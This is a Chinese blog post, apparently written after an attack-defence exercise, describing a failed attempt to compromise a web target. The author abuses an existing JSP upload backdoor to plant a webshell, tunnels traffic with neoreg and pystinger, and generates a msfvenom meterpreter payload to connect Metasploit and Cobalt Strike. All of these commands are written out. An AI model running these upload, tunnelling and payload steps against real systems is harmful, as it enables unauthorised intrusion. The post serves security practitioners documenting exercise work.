记一次失败的打点

简介: 记一次失败的打点

背景


在某次攻防演练的晚上,大佬给我一个网站,说有一个RCE漏洞打一下试试,抱着试试就逝世的心态,进行了打点行动。


上传webshell


在web目录发现了一个已存在木马xx.jsp


<%if(request.getParameter("f".getBytes());%>< a href="One_OK"></ a>

利用已经存在的上传后门,构建一个html表单来上传我们的自己木马


<form action="http://xx.x.x.x:8080/scdc/xx.jsp?f=fuckjp.jsp" method="post">      <textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>    <input type=submit value="提交">  </form>

目标不出网,无法外联


neoreg


还原大致流程


生成neoreg


py -2 neoreg.py generate -k password


上传&验证


py -2 neoreg.py -k password -u http://192.168.11.132/3.php`

msf上线


msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=9001 -f exe -o reverse.exe

gedit /etc/proxychains4.conf


bd96902dccc9a0c18951361d921ad0be_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



proxychains4 msfconsole


97ab06f717b7f44c95119465262494fe_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


0458455f8bbc5b2342e6870ddcfb0b53_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


CS上线

pystinger


蚁剑上传proxy.phpstinger_server.exe并执行  start stinger_server.exe



攻击机执行


stinger_client.exe -w http://192.168.11.132/proxy.php -l 127.0.0.1 -p 60000


9013c3ca539d454049c855ae346f3ad2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


设置监听


2ea055c423a37255c418e141845493cf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


上线


2ed2eaf610386f206137f593df9085cc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



结束语


最后不幸被蓝队发现,痛失权限,打点失败。


相关文章
|
8月前
|
机器学习/深度学习 存储 缓存
mPaaS扫码速度过快导致出错的问题
mPaaS扫码速度过快导致出错的问题
96 1
|
10月前
FeignClient打印请求失败的日志,打印所有feignCliet接口请求失败的错误日志,方便排查原因
FeignClient打印请求失败的日志,打印所有feignCliet接口请求失败的错误日志,方便排查原因
87 0
|
6天前
|
JavaScript IDE Java
bugly崩溃排查3:观察是谁调用了崩溃函数
bugly崩溃排查3:观察是谁调用了崩溃函数
24 0
|
9月前
|
SQL 前端开发 测试技术
一次纯线上接口异常的排查过程
一次纯线上接口异常的排查过程
86 0
|
消息中间件 存储 资源调度
订单超时怎么处理?我们用这种方案
在电商业务下,许多订单超时场景都在24小时以上,对于超时精度没有那么敏感,并且有海量订单需要批处理,推荐使用基于定时任务的跑批解决方案。
1122 0
订单超时怎么处理?我们用这种方案
|
程序员 测试技术 数据库
实战! 项目单据确认状态未更新排查
实战! 项目单据确认状态未更新排查
|
测试技术
自动定时发送每日构建测试报告
自动定时发送每日构建测试报告
134 1
|
存储 消息中间件 缓存
消息列队有没有可能失败?在哪些环节可能失败,如何处理?
相信大家都使用过消息MQ,他可以很好地进行系统解耦,减低变成的复杂度,又可以进行削峰,增加系统在高并发的稳定性。那么使用MQ有哪些注意事项呢?是不是MQ就是万无一失呢?一条MQ消息从产生到消费,有没有可能失败?在哪些环节可能失败,如何处理? 一般来说,从生产者到MQ中间件是通过网络调用的,是网络调用就有可能存在失败。下面这些原因,都有可能造成MQ生产失败,例如网络波动,尽管生产者到MQ服务器之间是内网调用,并不意味着网络调用的成功率就是百分之百,内网调用也会遇到网络波动,造成调用超时或者失败。又如调用的MQ机器瞬间Crash掉,这也是有可能造成调用失败的。
消息列队有没有可能失败?在哪些环节可能失败,如何处理?
|
存储 测试技术 开发工具
BSTestRunner增加历史执行记录展示和重试功能
之前对于用例的失败重试,和用例的历史测试记录存储展示做了很多的描述呢,但是都是基于各个项目呢,不方便使用,为了更好的使用,我们对这里进行抽离,抽离出来一个单独的模块,集成到BSTestRunner中,以后我们使用BSTestRunner直接就可以使用里面的失败重试和展示历史记录了。
BSTestRunner增加历史执行记录展示和重试功能